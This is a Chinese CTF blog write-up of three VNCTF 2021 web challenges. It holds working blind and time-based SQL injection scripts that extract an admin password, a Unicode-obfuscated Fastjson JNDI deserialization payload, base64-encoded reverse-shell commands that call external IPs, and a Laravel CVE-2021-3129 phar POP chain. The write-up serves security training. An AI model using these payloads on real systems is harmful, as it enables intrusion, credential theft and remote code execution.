avatar

2021 VNCTF Web Writeup

Created2021-03-15|Updated2021-03-17|CTF

Word count:3.2k|Reading time:15min

img

[toc]

前言

这次比赛太难了,Web 四分之三都是零解。

[VNCTF 2021]Ez_game

进入题目,是一个小游戏:

image-20210315165419850

只有三条命,通过就给flag。查看源码,发现注释里写道,游戏有十关:

image-20210315171059214

发现几个js,进入game.js,里面定义了一些游戏的属性。在PlayerData类中看到了人物的属性:

image-20210315171229304

在InitLevel()方法中发现声明了一个player对象:

image-20210315174356250

跟进Player()类:

image-20210315174457871

该类中依然有人物的那些属性。

我们可以在控制台中修改player对象的属性,直接修改人物属性:

image-20210315171815542

我们尝试修改这些属性:

JS
player.health = 1000
player.healthMax = 1000
player.boomerands = 1000
player.bigBoomerands = 1000

image-20210315172041312

好了,现在我们就无敌了,那就玩吧。

玩到第三关的时候,发现死亡后重生时可以进入之前存档的一关。在 js 中找到疑似存档关卡的一个值 localStorage.kbap_warp:

image-20210315172637554

设置 localStorage.kbap_warp 为 10,这样我们死亡后去进入存档,就可以直接打 boss 战了:

image-20210315172951280

打死boss得到flag:

image-20210315173808150

[VNCTF 2021]realezjvav

进入题目,一个登录框:

image-20210315175402880

说只有admin才可以登录这个页面。

基于状态码的盲注

在password处发现sql注入。输入一个单引号,报错500:

image-20210315181016411

输入双引号,不报错,返回200:

image-20210315181049733

应该存在sql盲注,根据返回的状态码进行判断。再测试一波:

SQL
username=whoami&password=' # 报错, 返回500
username=whoami&password='# # 不报错, 返回200
username=whoami&password=123' and 1=2# # 不报错, 返回200
username=whoami&password=123' or 1=1# # 不报错, 返回200
username=whoami&password=123'# # 不报错, 返回200
username=whoami&password=' #

猜测后端的查询语句应该是:

SQL
select * from user where username='$username' and password='$password';

既然500是一个服务器端的错误,如果想让他报500,就需要使MySQL发生错误,也就是构造错误的mysql语句。那我们这里就可以使用if()语句了,如下:

SQL
select if((select 1), 1, (select 1 from mysql.user));
# 输出: 1

select if((select 0), 1, (select 1 from mysql.user));
# 报错: ERROR 1242 (21000): Subquery returns more than 1 row

image-20210315182823975

根据这个原理,我们可以使用if()语句来构造500报错了,类似如下:

SQL
username=whoami&password=' or if((select 1), 1, (select 1 from mysql.user))#
[OUTPUT:]
HTTP/1.1 200

username=whoami&password=' or if((select 0), 1, (select 1 from mysql.user))#
[OUTPUT:]
HTTP/1.1 500

image-20210315183035322

image-20210315183141726

根据这个原理写出最终的sql盲注exp脚本:

PYTHON
import requests
url = 'http://4.c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login'
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = "' or if((select ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)))>%d,1,(select 1 from mysql.user))#" %(i,mid)
#payload = "' or if((select ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),%d,1)))>%d,1,(select 1 from mysql.user))#" %(i,mid)
payload = "' or if((select ascii(substr((select password from user where username='admin'),%d,1)))>%d,1,(select 1 from mysql.user))#" % (i, mid)
datas = {
"username":"admin",
"password": payload
}
res = requests.post(url=url,data=datas)

if res.status_code == 200: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)

image-20210315184515553

得到admin的密码为 “no_0ne_kn0w_th1s”。

笛卡尔积延时注入

这个题也可以使用延时注入,但是由于sleep()函数被过滤了,所以我们要是用笛卡尔积进行延时注入。

笛卡尔积延时注入

count(*) 后面所有表中的列笛卡尔积数,数量越多越卡,就会有延迟,类似之前某比赛pgsql的延时注入也可以利用此来打时间差,从而达到延时注入的效果:

SQL
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+-----------+
| count(*) |
+-----------+
| 113101560 |
+-----------+
1 row in set (2.07 sec)

mysql> select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
+------+-----+
| user | pwd |
+------+-----+
| 1 | 0 |
+------+-----+
1 row in set (2.08 sec)

得到的结果都会有延迟。

那么我们就可以使用这个原理,并配合if()语句进行延时注入了,payload 与之前相似,类似如下:

SQL
username=whoami&password=1' and if((select 1),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0);#
[OUTPUT:]
HTTP/1.1 504 Gateway Time-out # 有很长的延时, 以至于Time-out了

username=whoami&password=1' and if((select 0),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0);#
[OUTPUT:]
HTTP/1.1 200 # 没有延时

最后给出笛卡尔积延时注入的脚本:

PYTHON
import requests
url = 'http://4.c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login'
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = "' or if((select ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)))>%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)#" %(i,mid)
#payload = "' or if((select ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),%d,1)))>%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)#" %(i,mid)
payload = "' or if((select ascii(substr((select password from user where username='admin'),%d,1)))>%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)#" % (i, mid)
datas = {
"username":"admin",
"password": payload
}
res = requests.post(url=url,data=datas,timeout=None) # 不限制超时

if '504 Gateway Time-out' in res.text: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)

官方exp:

PYTHON
"""
-*- coding: utf-8 -*-
@File: exp.py
@Author: gyy
@Time: 3月 14, 2021
"""
import requests
import time
import random

url = "http://{}.c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login"
# {}由于开了多个靶机,每次随机访问某个靶机,可以减少冲突可能

def req(payload):
payload = payload.replace(" ", "/**/")
print(payload)
data = {
"username": "admin",
"password": payload
}
url1 = url.format(random.randrange(1,5,1)) # 随机访问
# print(url1)
res = requests.post(url=url1, data=data, timeout=None)# 不限制超时
# print(res.text)
if "504 Gateway Time-out" in res.text: # 504即为正确
return 1
else:
return -1


def binary_search(payload): # 二分法~
# payload = payload.replace("=",">=")
high = 127
low = 32
while True:
time.sleep(0.05)
if (high - low) < 4:
for mid in range(low, high + 1):
time.sleep(0.05)
if req(payload % mid) == -1:
return mid
return -1
mid = (high + low) // 2
pd = payload % mid
if req(pd) == 1:
low = mid + 1
else:
high = mid


def version():
resultstr = ""
for i in range(1, 100):
payload = "-1'and if((ascii(substr(version(),{},1))>%d),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0);#".format(
i)
# 1'and/**/if(ascii(substr(version(),1,1))>64,1,1)like/**/1#
j = binary_search(payload)
if j > 10:
resultstr = resultstr + chr(j)
print(resultstr)
else:
break
resultstr = "version==========>" + resultstr
print(resultstr)


def database():
resultstr = ""
for i in range(1, 100):
payload = "-1'and if((ascii(substr(database(),{},1))>%d),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0);#".format(
i)
j = binary_search(payload)
if j > 10:
resultstr = resultstr + chr(j)
print(resultstr)
else:
break
resultstr = "databases==========>" + resultstr
print(resultstr)
# databases==========>ctf

def table():
resultstr = ""
for i in range(1, 10000):
payload = "-1'and if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('ctf')),{},1))>%d),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0);#".format(
i)
j = binary_search(payload)
if j > 10:
resultstr = resultstr + chr(j)
print(resultstr)
else:
break
resultstr = "tables==========>" + resultstr
print(resultstr)
# tables==========>ctf

def columns():
resultstr = ""
for i in range(1, 10000):
payload = " ".format(i) # 孩子没跑了,太卡了
j = binary_search(payload)
if j > 10:
resultstr = resultstr + chr(j)
print(resultstr)
else:
break
resultstr = "columns==========>" + resultstr
print(resultstr)

def data():
resultstr = " "
for i in range(1, 10000):
payload = "".format(i) # 孩子没跑了,太卡了
j = binary_search(payload)
if j > 10:
resultstr = resultstr + chr(j)
print(resultstr)
else:
break
resultstr = "data==========>" + resultstr
print(resultstr)

if __name__ == "__main__":
# version()
# database()
table()
# columns()
# data()

(慢慢跑吧,很费时间的)

拿到admin密码后登录进去:

image-20210315184713892

这个图片可以进行目录穿越:

image-20210315190858849

但是读不到flag,可能名字不对,读取到了一个 pom.xml 文件:

抓包成功读取到了一个pom.xml文件:

POM是项目对象模型(Project Object Model)的简称,它是Maven项目中的文件,使用XML表示,名称叫做pom.xml。作用类似ant的build.xml文件,功能更强大。该文件用于管理:源代码、配置文件、开发者的信息和角色、问题追踪系统、组织信息、项目授权、项目的url、项目的依赖关系等等。事实上,在Maven世界中,project可以什么都没有,甚至没有代码,但是必须包含pom.xml文件。

image-20210316183658473

发现存在Fastjson,这是是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。并且该Fastjson的版本为1.2.27,该版本的Fastjson存在远程命令执行漏洞。

我们在创建任务的时候抓包查看,如下图所示,发现创建角色的时候使用的刚好是Json字符串:

image-20210316184308404

fastjson <1.2.68反序列化漏洞

vps上先开启一个监听:

BASH
nc -lvvp 2333

image-20210316190331562

下载 JNDI-Injection-Exploit 工具,执行如下命令搭建ldap服务:

BASH
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuNTcuNzIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A "47.101.57.72"

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzQ3Ljk0LjAuMjUwLzEgPCYx}|{base64,-d}|{bash,-i}" -A "47.94.0.250"

-C 后面跟的是反弹shell的命令, 这里不能直接用 bash -i >& /dev/tcp/47.101.57.72/2333 0>&1,因为涉及java反弹shell的编码问题,我门直接去 这个网站 ,将反弹shell的命令编码一下就成功了:

image-20210316201957329

image-20210316202107745

然后发送如下payload:

CODE
Copy successfullyroleJson={"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.101.57.72:1099/sx8cow","autoCommit":true}}

image-20210316202157047

被检测了,这里我们使用Unicode编码绕过:

CODE
roleJson={"e":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"name":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://47.101.57.72:1099/sx8cow","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}

image-20210316202215506

image-20210316202337607

目标服务器加载了恶意的class文件后,成功getshell:

mmexport1615897495003

[VNCTF 2021]Easy_laravel

题目给了附件www.zip。进入题目,laravel报错:

image-20210315194243164

需要在浏览器的隐私模式下访问:

image-20210315194304406

Laravel版本是v8.22.1,再想到前面的报错,应该是Laravel Debug mode RCE(CVE-2021-3129)这个漏洞没跑了,该漏洞详情请看:

[《Laravel Debug mode RCE(CVE-2021-3129)漏洞复现》](https://whoamianony.top/2021/01/15/漏洞复现/Laravel/Laravel Debug mode RCE(CVE-2021-3129)利用复现/)

首先检测该漏是否存在:

CODE
POST /index.php/_ignition/execute-solution HTTP/1.1
Host: 29b5a1a7-dc40-4755-bf12-5ec1d24d26e8.node3.buuoj.cn
Content-Type: application/json
Content-Length: 168

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "xxxxxxx"
}
}

如下图所示,存在该漏洞:

image-20210315194558281

这个漏洞利用十分简单,但是这里出题人在源码中对一些已公开的pop链做了修改。并且php版本为7.4没有assert、web目录只有session和log目录有写权限。所以,我们需要自己挖一个全新的POP链。看来自己的pop链还是得自己挖……

  • \vendor\symfony\routing\Loader\Configurator\ImportConfigurator.php

ImportConfigurator类中存在 __destruct 方法,可用来调用 __call():

image-20210316203150771

  • \vendor\mockery\mockery\library\Mockery\HigherOrderMessage.php

在HigherOrderMessage类中找到了一个 __call() 方法:

image-20210316203230702

该方法中存在如下代码:

PHP
$expectation = $this->mock->{$this->method}($method);

可以用来动态执行php函数,当我们将mock声明为一个对象时,就可以调用任意类中的方法。

  • \vendor\phpunit\phpunit\src\Framework\MockObject\MockTrait.php

在MockTrait类中发现了一个generate()方法,该方法中存在一个eval()函数且参数可控:

image-20210316203510254

最终的POC如下:

PHP
// poc.php
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;
public function __construct($class){
$this->parent = $class;
$this->route = 'test';
}
}
}

namespace Mockery{
class HigherOrderMessage{
private $mock;
private $method;
public function __construct($class){
$this->mock = $class;
$this->method = 'generate';
}
}
}

namespace PHPUnit\Framework\MockObject{
final class MockTrait{
private $classCode;
private $mockName;
public function __construct(){
$this->classCode = "phpinfo();";
$this->mockName = '123';
}
}
}

namespace{
use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use \Mockery\HigherOrderMessage;
use \PHPUnit\Framework\MockObject\MockTrait;

$m = new MockTrait();
$h = new HigherOrderMessage($m);
$i = new ImportConfigurator($h);

$phar = new Phar("shell.phar");
$phar -> startBuffering();
$phar -> addFromString("test.txt","test");
$phar -> setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar -> setMetadata($i);
$phar -> stopBuffering();
}
?>

执行poc.php脚本生成shell.phar:

BASH
php -d "phar.readonly=0" poc.php

然后执行如下命令对payload进行编码:

BASH
cat shell.phar | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

image-20210316205008420

按照该漏洞的攻击流程进行测试,如下图所示,成功执行了任意代码phpinfo():

image-20210316204233355

Author: Mr.Anonymous

Link: [https://whoamianony.top/2021/03/15/CTF%E6%AF%94%E8%B5%9B%E8%AE%B0%E5%BD%95/2021%20VNCTF%20Web%20Writeup/](https://whoamianony.top/2021/03/15/CTF比赛记录/2021 VNCTF Web Writeup/)

Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

CTF

Donate

cover of previous postPREVIOUS POST自主搭建的三层网络域渗透靶场打靶记录

[cover of next postNEXT POSTRedis 攻击方法总结](https://whoamianony.top/2021/03/13/Web安全/Redis 常见攻击方法总结/)

Related Articles

[cover 2020-12-26DASCTF x BJD 12月圣诞狂欢赛 easyphp(file_get_contents写phar文件并进行phar反序列化)](https://whoamianony.top/2020/12/26/CTF比赛记录/[DASCTF x BJD 12月圣诞狂欢赛]easyphp(file_get_contents写phar文件并进行phar反序列化)/)

cover 2020-12-21第四届“蓝帽杯”全国大学生网络安全技能大赛决赛WriteUp(Web部分)

[cover 2021-01-052020 第一届BMZCTF公开赛-WEB-Writeup](https://whoamianony.top/2021/01/05/CTF比赛记录/2020 第一届BMZCTF公开赛-WEB-Writeup/)

cover 2020-11-262020第三届“安洵杯”网络安全挑战赛WriteUp

cover 2020-11-10“科来杯”第九届山东省大学生网络安全技能大赛决赛部分WriteUp

[cover 2020-10-262020 极客大挑战Web部分WriteUp](https://whoamianony.top/2020/10/26/CTF比赛记录/2020 极客大挑战 WriteUp/)


Comment

Submit

No comment yet.

Powered By Valine
v1.4.14

avatar

Mr.Anonymous

Articles49

Tags11

Categories11

Follow Me

Announcement

YOU CAN YOU HACH!

Catalog

  1. [1. 前言](https://whoamianony.top/2021/03/15/CTF比赛记录/2021 VNCTF Web Writeup/#前言)
  2. [2. [VNCTF 2021]Ez_game](https://whoamianony.top/2021/03/15/CTF比赛记录/2021 VNCTF Web Writeup/#VNCTF-2021-Ez-game)
  3. \3. [VNCTF 2021]realezjvav
    1. [3.1. 基于状态码的盲注](https://whoamianony.top/2021/03/15/CTF比赛记录/2021 VNCTF Web Writeup/#基于状态码的盲注)
    2. [3.2. 笛卡尔积延时注入](https://whoamianony.top/2021/03/15/CTF比赛记录/2021 VNCTF Web Writeup/#笛卡尔积延时注入)
    3. [3.3. fastjson <1.2.68反序列化漏洞](https://whoamianony.top/2021/03/15/CTF比赛记录/2021 VNCTF Web Writeup/#fastjson-lt-1-2-68反序列化漏洞)
  4. [4. [VNCTF 2021]Easy_laravel](https://whoamianony.top/2021/03/15/CTF比赛记录/2021 VNCTF Web Writeup/#VNCTF-2021-Easy-laravel)

Recent Post

[浅谈 SESSION_UPLOAD_PROGRESS 的利用](https://whoamianony.top/2021/03/18/Web安全/浅谈 SESSION_UPLOAD_PROGRESS 的利用/)

[浅谈 SESSION_UPLOAD_PROGRESS 的利用](https://whoamianony.top/2021/03/18/Web安全/浅谈 SESSION_UPLOAD_PROGRESS 的利用/)2021-03-18

自主搭建的三层网络域渗透靶场打靶记录

自主搭建的三层网络域渗透靶场打靶记录2021-03-15

[2021 VNCTF Web Writeup](https://whoamianony.top/2021/03/15/CTF比赛记录/2021 VNCTF Web Writeup/)

[2021 VNCTF Web Writeup](https://whoamianony.top/2021/03/15/CTF比赛记录/2021 VNCTF Web Writeup/)2021-03-15

[Redis 攻击方法总结](https://whoamianony.top/2021/03/13/Web安全/Redis 常见攻击方法总结/)

[Redis 攻击方法总结](https://whoamianony.top/2021/03/13/Web安全/Redis 常见攻击方法总结/)2021-03-13

[Bypass Disable Functions](https://whoamianony.top/2021/03/13/Web安全/Bypass Disable_functions/)

[Bypass Disable Functions](https://whoamianony.top/2021/03/13/Web安全/Bypass Disable_functions/)2021-03-13

©2019 - 2021 By Mr.Anonymous

Framework Hexo|Theme Butterfly

img鲁ICP备2020039917号-1